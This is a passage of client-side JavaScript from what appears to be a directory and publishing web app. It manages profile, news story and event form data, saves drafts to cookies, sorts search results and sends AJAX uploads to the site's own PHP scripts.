//default path to top level directory, set automatically
var pat=document.location.href;
pat=pat.substring(0,pat.lastIndexOf("/")+1);

//browser detection
var ff=false;
var sf=false;
var ie=false;
var op=false
var browserID=navigator.userAgent.toLowerCase();
if(browserID.indexOf("firefox")!=-1||browserID.indexOf("netscape")!=-1)ff=true;
if(browserID.indexOf("safari")!=-1)sf=true;
if(browserID.indexOf("msie")!=-1)ie=true;
if(browserID.indexOf("opera")!=-1){
	op=true;
	ie=false;
}

var sfmac=false;
var sfVer=0;
var sf13=false;
if(sf){
	var plat=navigator.platform;
	if(plat.indexOf("Mac")==0)sfmac=true;
	sfVer=navigator.appVersion;
	sfVer=sfVer.split("WebKit/")[1];
	sfVer=parseFloat(sfVer);
	if(sfVer<400)sf13=true;
}

//basic authentication variables
var sessionID="";
var perm=0;
if(typeof(acctNum=="undefined"))var acctNum=0;

//these strings are populated by basic.php and turned into arrays here
categories=categories.split(",");
industries=industries.split(",");

//variables for use in page-based content formatting
var pageSrcArray=new Array;
var curPage=0;
var pageSize=parseInt(getCookie("pageSize"));
if(isNaN(pageSize)){
	pageSize=10;
	var res=setCookie("pageSize",pageSize);
}

//ff and sf position compensation variables
var rX=0;
var rY=0;

//this is used for uploading new password values
var newPwdValue="";

//miscellaneous varables
var newEntry=false;
var myAcctStr="<span class=topbar>|</span> <span class=link onclick=doNav('account')>My Account</span>";
var nameNewbie=false;


// ========================================================================= UNSAVED DATA MANAGEMENT

var unsaved=new Array(false,false,false);

function doUnsavedDataCheck(num){
	for(var u=0;u<3;u++){
		var v=2*u;
		if(curConsolePage==v){
			if(editMode=="live"){
				var editFrame=grabEditSpaceContent();
				var curCont=editFrame.document.body.innerHTML;
			}
			else{
				var editFrame=grab("editSpaceTextarea");
				var curCont=editFrame.value;
			}
			curCont=stripTextarea(curCont);
			if(curCont==""&&pESC!=""){
				editSpaceContentArray[u]=pESC;
				var editFrame=grabEditSpaceContent();
				editFrame.document.body.innerHTML=pESC;
			}
		}
		else curCont=editSpaceContentArray[u];
		if(editSpaceSavedContent[u]!=curCont)unsaved[u]=true;
	}

	if(unsaved[0]){
		var profileDataNStr=profKey+"~|~~|~"+collectProfileDataToString();
		var res=setCookie("profileCookie",profileDataNStr,.04);
	}
	if(unsaved[1]){
		var storyDataNStr=storyID+"~|~~|~"+collectStoryDataToString();
		var res=setCookie("storyCookie",storyDataNStr,.04);
	}
	if(unsaved[2]){
		var eventDataNStr=eventID+"~|~~|~"+collectEventDataToString();
		var res=setCookie("eventCookie",eventDataNStr,.04);
	}
}

var pESC="";

function preserveEditSpaceContent(){
	if(ie){
		if(editMode=="live"){
			var editFrame=grabEditSpaceContent();
			pESC=editFrame.document.body.innerHTML;
		}
		else{
			var editFrame=grab("editSpaceTextarea");
			pESC=editFrame.value;
		}
		pESC=stripTextarea(pESC);
		pESC=safeHTML(pESC);
		var u=Math.round(curConsolePage/2);
		editSpaceContentArray[u]=pESC;
	}
}

function changeNoted(){
	if(curConsolePage==0)unsaved[0]=true;
	if(curConsolePage==2)unsaved[1]=true;
	if(curConsolePage==4)unsaved[2]=true;
}

function restoreProfileCheck(){
	if(typeof(storedProfileData)=="string"&&storedProfileData!=""){
		var boo=confirm("Would you like to restore unsaved profile data?");
		if(boo){
			var psDat=destring(storedProfileData);
			var res=populateProfileDataFromArray(psDat);
		}
		var res=setCookie("profileCookie","",0);
	}
}

function restoreStoryCheck(){
	if(typeof(storedStoryData)=="string"&&storedStoryData!=""){
		var boo=confirm("Would you like to restore unsaved news story data?");
		if(boo){
			var ssDat=destring(storedStoryData);
			var res=populateStoryDataFromArray(ssDat);
		}
		var res=setCookie("storyCookie","",0);
	}
}

function restoreEventCheck(){
	if(typeof(storedEventData)=="string"&&storedEventData!=""){
		var boo=confirm("Would you like to restore unsaved event data?");
		if(boo){
			var esDat=destring(storedEventData);
			var res=populateEventDataFromArray(esDat);
		}
		var res=setCookie("eventCookie","",0);
	}
}


// ========================================================================= COLLECTION & POPULATION

// ============================================ PROFILE

function collectAndUploadProfile(){
	var str=collectProfileDataToString();
	if(newPwdValue!=""){
		var conf=confirm("You have entered a new password. Please confirm that you wish to change your password.");
		if(!conf)alert("Your password will not be changed.");
	}
	var prfNum=sessionID.split("O");
	prfNum=prfNum[1];
	str=profKey+"~|~~|~"+str;
	var res=doAjaxUpload(str,"updateProfile");
	var newArr=str.split("~|~");
	profileData=new Array;
	profileData[0]=newArr;
	if(newPwdValue!=""&&conf){
		var acctNum=parseInt(sessionID);
		var str=acctNum+"~|~"+newPwdValue;
		var res=doAjaxUpload(str,"setNewPassword");
		newPwdValue="";
	}
	unsaved[0]=false;
}

function collectProfileDataToString(){
	var acctKey=acctNum;
	var conEmail=escape(grab("conEmailInput").value);
	var conName=escape(grab("conNameInput").value);
	var comName=escape(grab("comNameInput").value);
	var comAddress=escape(grab("comAddressInput").value);
	var comCity=escape(grab("comCityInput").value);
	var zip=grab("zipInput").value;
	var comState=escape(grab("comStateInput").value);
	var comCountry=escape(grab("comCountryInput").value);
	var phone=escape(grab("phoneInput").value);
	var firstURL=escape(grab("firstURLInput").value);
	var secondURL=escape(grab("secondURLInput").value);
	var thirdURL=escape(grab("thirdURLInput").value);
	var firstBrand=escape(grab("firstBrandInput").value);
	var secondBrand=escape(grab("secondBrandInput").value);
	var thirdBrand=escape(grab("thirdBrandInput").value);
	var brandList=firstBrand+";"+secondBrand+";"+thirdBrand;
	var prodServList=getChecks("prodServList",categories.length);
	var lookForList=getChecks("lookForList",categories.length);
	var category=getChecks("indChoice",industries.length);//this is really "industry" but database calls it "category"
	var downList=escape(grab("downWithInput").value);
	var keywordList=escape(grab("keywordsInput").value);
	newPwdValue=grab("passwordInput").value;//this is a global variable
	if(editMode=="live"){
		var editFrame=grabEditSpaceContent();
		var comInfo=editFrame.document.body.innerHTML;
	}
	else{
		var editFrame=grab("editSpaceTextarea");
		var comInfo=editFrame.value;
	}
	comInfo=stripTextarea(comInfo);
	comInfo=safeHTML(comInfo);

	editSpaceSavedContent[0]=comInfo;

	comInfo=escape(comInfo);
	var rbi=grab("BarImgInput");
	if(rbi){
		rbi=rbi.value.toString();
		rbi=rbi.substring(rbi.lastIndexOf("/")+1);
		var barImg=escape(rbi);
	}
	else barImg="blank.gif";
	var rbi=grab("ProfileImgInput");
	if(rbi){
		rbi=rbi.value;
		rbi=rbi.substring(rbi.lastIndexOf("/")+1);
		var profileImg=escape(rbi);
	}
	else profileImg="blank.gif";
	var searchStatus=escape(grab("searchStatusInput").checked);
	var discussionStatus=escape(grab("discussionStatusInput").checked);
	if(searchStatus=="true")searchStatus=1;
	else searchStatus=0;
	if(discussionStatus=="true")discussionStatus=1;
	else discussionStatus=0;

	var flags=escape(grab("flagsInput").value);
	if(flags.toString().length<5&&comName!=""){
		var createDate=new Date;
		createDate=createDate.getTime();
		flags=createDate;
	}

	conName=isValidMinMax(conName,3,100,"Contact Name");
	comAddress=isValidMinMax(comAddress,3,200,"Address");
	comCity=isValidMinMax(comCity,3,50,"City");
	phone=isValidMinMax(phone,10,20,"Phone");
	conEmail=isEmail(conEmail);
	comState=isValidMinMax(comState,1,50,"State or Province");
	zip=isValidMinMax(zip,4,12,"Postal Code");
	comCountry=isValidMinMax(comCountry,1,12,"Country");
	var txt=acctKey+"~|~"+conEmail+"~|~"+conName+"~|~"+comName+"~|~"+comAddress+"~|~"+comCity+"~|~"+zip+"~|~"+comState+"~|~"+comCountry+"~|~"+phone+"~|~"+phone+"~|~"+firstURL+"~|~"+secondURL+"~|~"+thirdURL+"~|~"+category+"~|~"+brandList+"~|~"+downList+"~|~"+prodServList+"~|~"+lookForList+"~|~"+keywordList+"~|~"+comInfo+"~|~"+barImg+"~|~"+profileImg+"~|~"+searchStatus+"~|~"+discussionStatus+"~|~~|~~|~~|~~|~"+flags;
	return txt;
}

function populateProfileDataFromArray(arr){
	if(typeof(arr)!="object")arr=profileVals;
	if(typeof(arr[0])=="object")arr=arr[0];
	var shifter=0;
	var conEmail=unescape(arr[3-shifter]);
	var conName=unescape(arr[4-shifter]);
	var comName=unescape(arr[5-shifter]);

	if(comName=="")nameNewbie=true;

	var comAddress=unescape(arr[6-shifter]);
	var comCity=unescape(arr[7-shifter]);
	var comZip=unescape(arr[8-shifter]);
	var comState=unescape(arr[9-shifter]);
	var comCountry=unescape(arr[10-shifter]);
	var phone=unescape(arr[11-shifter]);
	//""
	var firstURL=unescape(arr[13-shifter]);
	var secondURL=unescape(arr[14-shifter]);
	var thirdURL=unescape(arr[15-shifter]);
	var category=unescape(arr[16-shifter]);
	category=spaceOut(category,",");
	var brandList=unescape(arr[17-shifter]);
	var downList=unescape(arr[18-shifter]);
	var prodServList=unescape(arr[19-shifter]);
	var lookForList=unescape(arr[20-shifter]);
	lookForList=spaceOut(lookForList,",");
	var keywordList=unescape(arr[21-shifter]);
	var comInfo=unescape(arr[22-shifter]);
	comInfo=normalize(comInfo);
	var barImg=unescape(arr[23-shifter]);
	var profileImg=unescape(arr[24-shifter]);
	var searchStatus=unescape(arr[25-shifter]);
	var discussionStatus=unescape(arr[26-shifter]);

	var flags=unescape(arr[31-shifter]);

	var createDate=flags;

	grab("conEmailInput").value=conEmail;
	grab("conNameInput").value=conName;
	grab("comNameInput").value=comName;
	grab("comAddressInput").value=comAddress;
	grab("comCityInput").value=comCity;
	grab("comStateInput").value=comState;
	grab("comCountryInput").value=comCountry;
	grab("phoneInput").value=phone;
	grab("zipInput").value=comZip;
	grab("firstURLInput").value=firstURL;
	grab("secondURLInput").value=secondURL;
	grab("thirdURLInput").value=thirdURL;
	brandList=brandList.split(";");
	if(brandList[1]=="undefined"||typeof(brandList[1])=="undefined")brandList[1]="";
	if(brandList[2]=="undefined"||typeof(brandList[2])=="undefined")brandList[2]="";
	grab("firstBrandInput").value=brandList[0];
	grab("secondBrandInput").value=brandList[1];
	grab("thirdBrandInput").value=brandList[2];
	var ret=setChecks("prodServList",prodServList);
	var ret=setChecks("lookForList",lookForList);
	var ret=setChecks("indChoice",category);//this is really "industry" but database calls it "category"
	grab("downWithInput").value=downList.split("~|~");
	grab("keywordsInput").value=keywordList.split("~|~");
	var editFrame=grabEditSpaceContent();
	editFrame.document.body.innerHTML=comInfo;

	if(ie)editFrame.document.body.onunload=parent.preserveEditSpaceContent;
	editSpaceSavedContent[0]=comInfo;

	grab("BarImgInput").value=barImg;
	grab("ProfileImgInput").value=profileImg;
	profileImg="<img id=profileImg src='userimages/"+profileImg+"' width=75 height=75 border=1 style=position:absolute>";
	barImg="<img id=barImg src='userimages/"+barImg+"' width=250 height=40 vspace=17 border=1 style=position:absolute>";
	grab("imgHolderProfile").innerHTML=profileImg;
	grab("imgHolderBar").innerHTML=barImg;
	if(parseInt(searchStatus)==1)searchStatus=true;
	else searchStatus=false;
	if(parseInt(discussionStatus)==1)discussionStatus=true;
	else discussionStatus=false;
	grab("searchStatusInput").checked=searchStatus;
	grab("discussionStatusInput").checked=discussionStatus;

	grab("flagsInput").value=flags;
	
}

// ====================================================== STORY

var storyID="";

function collectAndUploadStory(){
	var str=collectStoryDataToString();
	str=storyID+"~|~~|~"+str;
	if(newEntry)var res=doAjaxUpload(str,"createStory");
	else var res=doAjaxUpload(str,"updateStory");
	unsaved[1]=false;
}

function collectStoryDataToString(){
	var subtitle="";
	var pubDate="";
	var acctKey=acctNum;
	var storyTitle=escape(grab("storyTitleInput").value);
	var description=escape(grab("storyDescriptionInput").value);
	var storyBody="";
	if(editMode=="live"){
		var editFrame=grabEditSpaceContent();
		var storyBody=editFrame.document.body.innerHTML;
	}
	else{
		var editFrame=grab("editSpaceTextarea");
		var storyBody=editFrame.value;
	}
	storyBody=stripTextarea(storyBody);
	storyBody=safeHTML(storyBody);

	editSpaceSavedContent[1]=storyBody;

	storyBody=escape(storyBody);
	var author=escape(grab("storyAuthorInput").value);
	var now=new Date;
	now=now.getTime();
	now=Math.round(now/1000);
	var pubDate=now;
	var smi=grab("StoryMainImgInput");
	if(smi){
		smi=smi.value.toString();
		smi=smi.substring(smi.lastIndexOf("/")+1);
		var mainImage=escape(smi);
	}
	else var mainImage="blank.gif";
	var sti=grab("StoryThumbImgInput");
	if(sti){
		sti=sti.value.toString();
		sti=sti.substring(sti.lastIndexOf("/")+1);
		var thumbImage=escape(sti);
	}
	else var thumbImage="blank.gif";
	var photoCredit=escape(grab("storyPhotoCreditInput").value);
	var keywordList=escape(grab("storyKeywordsListInput").value);
	var discussionStatus=escape(grab("storyDiscussionStatusInput").checked);
	var searchStatus=escape(grab("storySearchStatusInput").checked);
	if(searchStatus=="true")searchStatus=1;
	else searchStatus=0;
	if(discussionStatus=="true")discussionStatus=1;
	else discussionStatus=0;
	var txt=acctKey+"~|~"+storyTitle+"~|~"+subtitle+"~|~"+description+"~|~"+storyBody+"~|~"+author+"~|~"+pubDate+"~|~"+mainImage+"~|~"+thumbImage+"~|~"+photoCredit+"~|~"+keywordList+"~|~"+discussionStatus+"~|~"+searchStatus;
	return txt;
}

function populateStoryDataFromArray(arr){
	if(typeof(arr)!="object")arr=storyVals;
	if(typeof(arr[0])=="object")arr=arr[0];
	var shifter=0;
	var storyTitle=unescape(arr[3-shifter]);
	var subtitle=unescape(arr[4-shifter]);
	var description=unescape(arr[5-shifter]);
	var storyBody=unescape(arr[6-shifter]);
	storyBody=normalize(storyBody);
	var author=unescape(arr[7-shifter]);
	var pubDate=unescape(arr[8-shifter]);
	var mainImage=unescape(arr[9-shifter]);
	var thumbImage=unescape(arr[10-shifter]);
	var photoCredit=unescape(arr[11-shifter]);
	var keywordList=unescape(arr[12-shifter]);
	var discussionStatus=unescape(arr[13-shifter]);
	var searchStatus=unescape(arr[14-shifter]);
	grab("storyTitleInput").value=storyTitle;
	//grab("subtitle").value=subtitle;
	grab("storyDescriptionInput").value=description;
	var editFrame=grabEditSpaceContent();
	editFrame.document.body.innerHTML=storyBody;

	if(ie)editFrame.document.body.onunload=parent.preserveEditSpaceContent;
	editSpaceSavedContent[1]=storyBody;

	var mainImageHTML="<img id=mainImg src='userimages/"+mainImage+"' width=75 height=75 border=1 style=position:absolute>";
	var thumbImageHTML="<img id=thumbImg src='userimages/"+thumbImage+"' width=75 height=75 border=1 style=position:absolute>";
	grab("imgHolderStoryMain").innerHTML=mainImageHTML;
	grab("imgHolderStoryThumb").innerHTML=thumbImageHTML;
	grab("storyAuthorInput").value=author;
	//grab("pubDateInput").value=pubDate;
	grab("StoryThumbImgInput").value=thumbImage;
	grab("StoryMainImgInput").value=mainImage;
	grab("storyPhotoCreditInput").value=photoCredit;
	grab("storyKeywordsListInput").value=keywordList;
	if(parseInt(searchStatus)==1)searchStatus=true;
	else searchStatus=false;
	if(parseInt(discussionStatus)==1)discussionStatus=true;
	else discussionStatus=false;
	grab("storyDiscussionStatusInput").checked=discussionStatus;
	grab("storySearchStatusInput").checked=searchStatus;
}

// ================================================= EVENT

function collectAndUploadEvent(){
	var str=collectEventDataToString();
	str=eventID+"~|~~|~"+str;
	if(newEntry)var res=doAjaxUpload(str,"createEvent");
	else var res=doAjaxUpload(str,"updateEvent");
	unsaved[2]=false;
}

function collectEventDataToString(){

	var pCountry=profileData[0][10];
	var pIndustry=profileData[0][16];
	var pCategory=profileData[0][19];

	pIndustry=chopTrunc(pIndustry,100);
	pCategory=chopTrunc(pCategory,100);
	var sortStr=pIndustry+"~|~"+pCategory+"~|~"+pCountry;
	var summary="";
	var eventRepInc="";
	var eventRepMax="";
	var venueAccess="";
	var venueState="";
	var eventStart="";
	var eventEnd="";
	var venueDescription="";
	var acctKey=acctNum;
	var eventTitle=escape(grab("eventTitleInput").value);
	var summary=escape(grab("eventDescriptionInput").value);
	var eventBody="";
	if(editMode=="live"){
		var editFrame=grabEditSpaceContent();
		var eventBody=editFrame.document.body.innerHTML;
	}
	else{
		var editFrame=grab("editSpaceTextarea");
		var eventBody=editFrame.value;
	}
	eventBody=stripTextarea(eventBody);
	eventBody=safeHTML(eventBody);
	editSpaceSavedContent[2]=eventBody;
	eventBody=escape(eventBody);
	var imageURL=escape(grab("EventImgInput").value);
	var venue=escape(grab("evVenueNameInput").value);
	var venueAddr=escape(grab("evAddressInput").value);
	var venueCity=escape(grab("evCityInput").value);
	var venueState=escape(grab("evStateInput").value);
	var venueZip=escape(grab("evZipInput").value);
	var venueCountry=escape(grab("evCountryInput").value);
	//var venueDescription=escape(grab("venueDescriptionInput").value);
	//var venueAccess=escape(grab("venueAccessInput").value);
	var keywordList=escape(grab("eventKeywordsInput").value);
	var eventURL=escape(grab("evURLInput").value);
	var conName=escape(grab("evContactNameInput").value);
	var conEmail=escape(grab("evContactEmailInput").value);
	var conPhone=escape(grab("evContactPhoneInput").value);

	var eventStart=getTimestamp(collectDateStr(0));
	var eventEnd=getTimestamp(collectDateStr(1));

	//var eventRepInc=escape(grab("eventRepInc").value);
	//var eventRepMax=escape(grab("eventRepMax").value);
	var discussionStatus=escape(grab("eventDiscussionStatusInput").checked);
	if(discussionStatus=="true")discussionStatus=1;
	else discussionStatus=0;
	var txt=acctKey+"~|~"+eventTitle+"~|~"+summary+"~|~"+eventBody+"~|~"+imageURL+"~|~"+venue+"~|~"+venueAddr+"~|~"+venueCity+"~|~"+venueState+"~|~"+venueZip+"~|~"+venueCountry+"~|~"+venueDescription+"~|~"+venueAccess+"~|~"+keywordList+"~|~"+eventURL+"~|~"+conName+"~|~"+conEmail+"~|~"+conPhone+"~|~"+eventStart+"~|~"+eventEnd+"~|~"+eventRepInc+"~|~"+eventRepMax+"~|~"+discussionStatus+"~|~~|~~|~~|~"+sortStr;

	return txt;
}

function populateEventDataFromArray(arr){
	if(typeof(arr)!="object")arr=eventVals;
	if(typeof(arr[0])=="object")arr=arr[0];
	var shifter=0;
	var eventTitle=unescape(arr[3-shifter]);
	var summary=unescape(arr[4-shifter]);
	var eventBody=unescape(arr[5-shifter]);
	eventBody=normalize(eventBody);
	var imageURL=unescape(arr[6-shifter]);
	var venue=unescape(arr[7-shifter]);
	var venueAddr=unescape(arr[8-shifter]);
	var venueCity=unescape(arr[9-shifter]);
	var venueState=unescape(arr[10-shifter]);
	var venueZip=unescape(arr[11-shifter]);
	var venueCountry=unescape(arr[12-shifter]);
	//var venueDescription=unescape(arr[13-shifter]);
	var venueAccess=unescape(arr[14-shifter]);
	var keywordList=unescape(arr[15-shifter]);
	var eventURL=unescape(arr[16-shifter]);
	var conName=unescape(arr[17-shifter]);
	var conEmail=unescape(arr[18-shifter]);
	var conPhone=unescape(arr[19-shifter]);
	var eventStart=unescape(arr[20-shifter]);
	var eventEnd=unescape(arr[21-shifter]);
	var eventRepInc=unescape(arr[22-shifter]);
	var eventRepMax=unescape(arr[23-shifter]);
	var discussionStatus=unescape(arr[24-shifter]);
	grab("eventTitleInput").value=eventTitle;
	grab("eventDescriptionInput").value=summary;
	var editFrame=grabEditSpaceContent();
	editFrame.document.body.innerHTML=eventBody;

	if(ie)editFrame.document.body.onunload=parent.preserveEditSpaceContent;
	editSpaceSavedContent[2]=eventBody;

	grab("EventImgInput").value=imageURL;
	imageURL="<img id=eventImg src='userimages/"+imageURL+"' width=75 height=75 border=1 style=position:absolute>";
	grab("imgHolderEvent").innerHTML=imageURL;

	grab("evVenueNameInput").value=venue;
	grab("evAddressInput").value=venueAddr;
	grab("evCityInput").value=venueCity;
	grab("evStateInput").value=venueState;
	grab("evZipInput").value=venueZip;
	grab("evCountryInput").value=venueCountry;
	grab("eventDescriptionInput").value=summary;
	//grab("venueAccessInput").value=venueAccess;
	grab("eventKeywordsInput").value=keywordList;
	grab("evURLInput").value=eventURL;
	grab("evContactNameInput").value=conName;
	grab("evContactEmailInput").value=conEmail;
	grab("evContactPhoneInput").value=conPhone;
	setDateFields(0,eventStart);
	setDateFields(1,eventEnd);
	//grab("eventRepInc").value=eventRepInc;
	//grab("eventRepMax").value=eventRepMax;
	if(parseInt(discussionStatus)==1)discussionStatus=true;
	else discussionStatus=false;
	grab("eventDiscussionStatusInput").checked=discussionStatus;
}

//========================================COLLECTION & POPULATION UTILITIES


//this is for making sure that long list strings have spaces
function spaceOut(str,del){
	if(str.indexOf(del)==-1)return str;
	var arr=str.split(del);
	var newStr="";
	for(var a=0;a<arr.length;a++){
		newStr+=arr[a]+", ";
	}
	newStr=newStr.substring(0,newStr.length-2);
	return newStr;
}

//this is for removing http or https from paths
function stripProtocol(txt){

}

//converts selected checkboxes into a comma-delimited string
function getChecks(nam,num){
	var retList="";
	for(var n=0;n<num;n++){
		var chk=grab(nam+n);
		if(chk.checked){
			retList+=chk.value+",";
		}
	}
	retList=retList.substring(0,retList.length-1);
	return retList;
}

//converts string of comma-delimited terms into checks in the right boxes
function setChecks(targ,arr){
	arr=arr.split(",");
	for(var a=0;a<arr.length;a++){
		var f=getCheckNum(targ,arr[a])
		var chk=grab(targ+f);
		if(chk)chk.checked=true;
	}
	return true;
}

function stripInitialSpaces(str){
	for(var s=0;s<str.length;s++){
		if(str.charAt(0)==" "){
			str=str.substring(1);
		}
	}
	return str;
}

function getCheckNum(targ,val){
	var arr=categories;
	if(targ=="indChoice")arr=industries;//remember that industries has been misnamed category in the DB
	val=stripInitialSpaces(val);
	if(val.indexOf("&")!=-1){
		val=escape(val);
		val=val.substring(0,8);
	}
	for(var a=0;a<arr.length;a++){
		var compVal=stripInitialSpaces(arr[a]);
		if(compVal.indexOf("&")!=-1){
			compVal=escape(compVal);
			compVal=compVal.substring(0,8);
		}
		if(val==compVal)return a;
	}
	return true;
}

//sets dates presented in time boxes, str can be date string or seconds
function setDateFields(num,str){
	if(str.indexOf(",")==-1)str=getDateStr(str);
	str=str.split(",");
	var curYear=parseInt(tim.getYear());
	if(curYear<300)curYear+=1900;
	var ysi=str[0]-curYear;
	var fld=document.getElementById("yearSelect"+num);
	fld.selectedIndex=parseInt(ysi);
	var fld=document.getElementById("monthSelect"+num);
	fld.selectedIndex=parseInt(str[1])-1;
	var fld=document.getElementById("dateSelect"+num);
	fld.selectedIndex=parseInt(str[2])-2;//why 2? don't know, but it works
	var fld=document.getElementById("hourSelect"+num);
	fld.selectedIndex=str[3];
	var fld=document.getElementById("minuteSelect"+num);
	fld.selectedIndex=Math.floor(str[4]/15);// the last 4 was a 5
	return true;
}

//extracts date data from time boxes
function collectDateStr(num){
	var curYear=parseInt(tim.getYear());
	if(curYear<300)curYear+=1900;
	var fld=document.getElementById("yearSelect"+num);
	var yr=fld.selectedIndex;
	var cy=parseInt(curYear);
	//if(yr<cy)yr=cy;
	yr=cy+yr;
	var fld=document.getElementById("monthSelect"+num);
	var mo=fld.selectedIndex+1;
	var fld=document.getElementById("dateSelect"+num);
	var dt=fld.selectedIndex+2;//why 2? don't know ... but it works
	var fld=document.getElementById("hourSelect"+num);
	var hr=fld.selectedIndex;
	var fld=document.getElementById("minuteSelect"+num);
	var mn=fld.selectedIndex;
	mn=15*mn;
	var sc="0";
	var ret=yr+","+mo+","+dt+","+hr+","+mn+","+sc;
	return ret;
}

//converts comma-delimited date string into seconds
function getTimestamp(tim){
	var num=parseInt(tim).toString();
	if(num==tim){
		num=parseInt(tim);
		return num;
	}
	tim=tim.split(",");
	var dat=new Date(tim[0],parseInt(tim[1])-1,parseInt(tim[2])-1,tim[3],tim[4],tim[5]);
	dat=dat.getTime();
	dat=Math.round(dat/1000);
	return dat;
}

//converts seconds into comma-delimited date string 
function getDateStr(tim){
	if(tim!=""){
		tim=1000*parseInt(tim);
		tim=new Date(tim);
	}
	else tim=new Date();
	var yr=tim.getYear();
	if(yr<300)yr+=1900;
	var mo=tim.getMonth()+1;
	var dt=tim.getDate()+1;
	var hr=tim.getHours();
	var mn=tim.getMinutes();
	var sc=0;
	var ret=yr+","+mo+","+dt+","+hr+","+mn+","+sc;
	return ret;
}

//converts seconds into comma-delimited date string without time of day included
function getReadableDateStr(tim){
	var nums=getDateStr(tim);
	nums=nums.split(",");
	var yr=nums[0];
	var mo=monArr[nums[1]-1];
	var dt=nums[2]-1;
	var hr=nums[3];
	var mn=nums[4];
	return mo+" "+dt+", "+yr;
}

//converts seconds into comma-delimited date string with time of day included
function getReadableDateTimeStr(tim){
	var nums=getDateStr(tim);
	nums=nums.split(",");
	var yr=nums[0];
	var mo=monArr[nums[1]-1];
	var dt=nums[2]-1;
	var hr=nums[3];
	var mn=nums[4];
	if(hr!=""){
		var mer="am";
		if(hr>12){
			hr-=12;
			mer="pm";
		}
		if(mn>=0&&mn<10)mn="0"+mn;
		var tim=hr+":"+mn+mer;
	}
	else tim="";
	return mo+" "+dt+", "+yr+" "+tim;
}

// ==================================================================================== PAGE NAVIGATION FUNCTIONS

//select page lengths
var pLens=new Array(5,10,25,50);

//draw page numbers for navigation
function drawPageControls(arr){
	var maxPage=Math.ceil(arr.length/pageSize);
	var mp=maxPage;
	if(mp>25)mp=25;
	var txt="<br><div id=pageControls class=subhead style=position:relative;width:100%;text-align:right;left:-25>Page ";
	for(var p=0;p<mp;p++){
		if(p==curPage)txt+="<span class=redcopy onclick=doPageNav("+p+")><u>"+(p+1)+"</u></span> | ";
		else txt+="<span class=redcopy onclick=doPageNav("+p+")>"+(p+1)+"</span> | ";
	}
	txt=txt.substring(0,txt.length-3);
	txt+="</div>";
	return txt;
}

//display new page content by numbers
function doPageNav(num){
	curPage=num;
	var newPageHTML=getPage(pageSrcArray,pageType,num);
	var ph=grab("pageHolder");
	ph.innerHTML=newPageHTML;
	var newPageControls=drawPageControls(pageSrcArray);
	var pc=grab("pageControls");
	pc.innerHTML=newPageControls;
}

//determine page size based on drop down selection
function setPageSize(){
	var ps=grab("pageSizeSel");
	pageSize=ps.value;
	var res=setCookie("pageSize",pageSize,365);

	doPageNav(0);

	//sessionNav(location.href);


}

// ==================================================================================== SEARCH UTILITIES

//initiates all search types, assumes standard form upload elements on page, activates by sessionNav to Index page
function doSearch(typ){
	var kw=grab("keywordSel");
	var iy=grab("industrySel");
	var ct=grab("categorySel");
	var nt=grab("countrySel");
	kwStr=kw.value;
	iyStr=iy.value;
	ctStr=ct.value;
	ntStr=nt.value;
	var sercStr=kwStr+"~|~"+iyStr+"~|~"+ctStr+"~|~"+ntStr;
	var stor=grab("subSrc");
	stor.value=sercStr;
	sessionNav(typ+"Index.php");
}

function doDirectorySearch(iy,ct){
	var kw="";
	var nt="";
	if(!iy)iy="";
	if(!ct)ct="";
	var sercStr=kw+"~|~"+iy+"~|~"+ct+"~|~"+nt;
	var stor=grab("subSrc");
	stor.value=sercStr;
	sessionNav("searchAllIndex.php");
}

//various functions for sorting arrays follow. they can all be replaced with a generic function using a global variable to determine comparison slot
//following functions sort search reults according to sort widget commands

function doSearchSortName(){
	currentSearchResult=currentSearchResult.sort(nameSorter);
	var srh=grab("pageHolder");
	srh.innerHTML=getPage(currentSearchResult,searchDataType,0);
}

function nameSorter(a,b){
	if(a[8]>b[8])return 1;
	if(a[8]<b[8])return -1;
	return 0;
}

function doSearchSortLocation(){
	currentSearchResult=currentSearchResult.sort(locationSorter);
	var srh=grab("pageHolder");
	srh.innerHTML=getPage(currentSearchResult,searchDataType,0);
}

function locationSorter(a,b){
	if(a[9]>b[9])return 1;
	if(a[9]<b[9])return -1;
	return 0;
}

function doSearchSortCategory(){
	currentSearchResult=currentSearchResult.sort(catSorter);
	var srh=grab("pageHolder");
	srh.innerHTML=getPage(currentSearchResult,searchDataType,0);
}

function catSorter(a,b){
	if(a[10]>b[10])return 1;
	if(a[10]<b[10])return -1;
	return 0;
}

function doSearchSortDate(){
	currentSearchResult=currentSearchResult.sort(dateSorter);
	var srh=grab("pageHolder");
	srh.innerHTML=getPage(currentSearchResult,searchDataType,0);
}

function dateSorter(a,b){
	if(a[11]>b[11])return -1;
	if(a[11]<b[11])return 1;
	return 0;
}

function reverseDateSorter(a,b){
	if(a[20]>b[20])return -1;
	if(a[20]<b[20])return 1;
	return 0;
}
function createSorter(a,b){
	if(a[31]>b[31])return -1;
	if(a[31]<b[31])return 1;
	return 0;
}


// ========================================================================= AJAX FUNCTIONS

var req="";

function doAjaxUpload(txt,pag){
	if(window.XMLHttpRequest){ 
		req=new XMLHttpRequest(); 
	} 
	else if(window.ActiveXObject){
		req=new ActiveXObject("Microsoft.XMLHTTP");
	}
	var ajaxURL=pat+"data/"+pag+".php";
	var callback=doCallback;
	var params="subSrc="+escape(txt);
	req.open("POST",ajaxURL,true);
	req.onreadystatechange=callback;
	req.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	req.setRequestHeader("Content-length",params.length);
	req.setRequestHeader("Connection", "close");
	req.send(params);
	return true;
}

function doCallback(){
	if(req.readyState==4&&req.status==200){
		var response=req.responseText;
		if(response.indexOf(":|:")!=-1){
			response=response.split(":|:");
			var responseCode=response[1];
			var responseData=response[2];
			if(responseCode=="LOGI")processLoginResult(responseData);
			if(responseCode=="SERC")processSearchResult(responseData);
			if(responseCode=="COMM")processCommentResult(responseData);
			if(responseCode=="DELC")processDeleteComment(responseData);
			if(responseCode=="DELI")processDeleteItem(responseData);
			if(responseCode=="NPWD")processNewPassword(responseData);
			if(responseCode=="UPPR")processProfileUpdate(responseData);
			if(responseCode=="DPMO")processPasswordMailout(responseData);
		}
		else{
			if(typeof(responseData)=="undefined")responseData="";
			alert("Upload completed.");
		}
   	}
}


function processProfileUpdate(responseData){
	var num=0;
	if(responseData.indexOf("DUP=")!=-1)num=responseData.split("DUP=")[1];
	if(num==0)alert("Your profile has been successfully updated.");
	else alert("There is already an account with that brand name. Please choose another.");
	nameNewbie=false;
}


// ===================================================================== COMMENT-RELATED UTILITIES

//collect and upload comment data
function submitCommentData(){
	var linkedTable="empty";
	var linkedKey=0;
	var tit=escape(grab("commTitle").value);
	acctNum=parseInt(sessionID);
	var aut=acctNum;

	//var aut=profiledata[0][5];

